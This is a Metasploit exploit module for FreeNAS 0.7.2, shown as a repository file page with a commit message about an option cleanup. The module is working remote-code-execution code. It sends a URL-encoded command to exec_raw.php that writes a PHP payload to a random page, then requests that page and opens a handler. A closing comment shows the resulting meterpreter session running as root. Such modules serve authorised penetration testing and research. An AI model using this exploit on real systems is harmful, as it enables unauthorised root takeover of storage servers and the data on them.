Files
metasploit-gs/modules/exploits/multi/http/freenas_exec_raw.rb
T
Christian Mehlmauer 3752c10ccf Adding FireFart's RPORT(80) cleanup
This was tested by creating a resource script to load every changed
module and displaying the options, like so:

````
use auxiliary/admin/2wire/xslt_password_reset
show options
use auxiliary/admin/http/contentkeeper_fileaccess
show options
````

...etc. This was run in both the master branch and FireFart's branch
while spooling out the results of msfconsole, then diffing those
results. All modules loaded successfully, and there were no changes to
the option sets, so it looks like a successful fix.

Thanks FireFart!

Squashed commit of the following:

commit 7c1eea53fe3743f59402e445cf34fab84cf5a4b7
Author: Christian Mehlmauer <FireFart@gmail.com>
Date:   Fri May 25 22:09:42 2012 +0200

    Cleanup Opt::RPORT(80) since it is already registered by Msf::Exploit::Remote::HttpClient
2012-06-02 09:53:19 -05:00

90 lines
2.2 KiB
Ruby

##
# $Id$
###
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeNAS exec_raw.php Arbitrary Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution flaw
in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL
to the exec_raw.php page, an attacker may be able to execute arbitrary
commands.
NOTE: This module works best with php/meterpreter payloads.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'URL', 'http://sourceforge.net/projects/freenas/files/stable/0.7.2/NOTES%200.7.2.5543.txt/download' ],
],
'Payload' =>
{
'Space' => 6144,
'DisableNops' => true,
'BadChars' => "`\"' %&x",
},
'Targets' =>
[
[ 'Automatic Target', { } ]
],
'Privileged' => true,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DisclosureDate' => 'Nov 6 2010',
'DefaultTarget' => 0))
end
def exploit
page = rand_text_alpha_upper(rand(5) + 1 ) + ".php"
shellcode = payload.encoded
sploit = "echo \"<?php\n#{shellcode}\n?>\" > #{page}"
print_status("Sending exploit page '#{page}'")
res = send_request_raw(
{
'uri' => "/exec_raw.php?cmd=" + Rex::Text.uri_encode(sploit),
}, 10)
if (res and res.code == 200)
print_status("Triggering payload...")
send_request_raw({ 'uri' => "/#{page}" }, 5)
handler
else
print_error("Exploit failed.")
return
end
end
end
=begin
meterpreter > sysinfo
Computer: freenas.local
OS : FreeBSD freenas.local 7.3-RELEASE-p2 FreeBSD 7.3-RELEASE-p2 #0: Sat Jul 31 12:22:04 CEST 2010 root@dev.freenas.org:/usr/obj/freenas/usr/src/sys/FREENAS-i386 i386
meterpreter > getuid
Server username: root (0)
meterpreter >
=end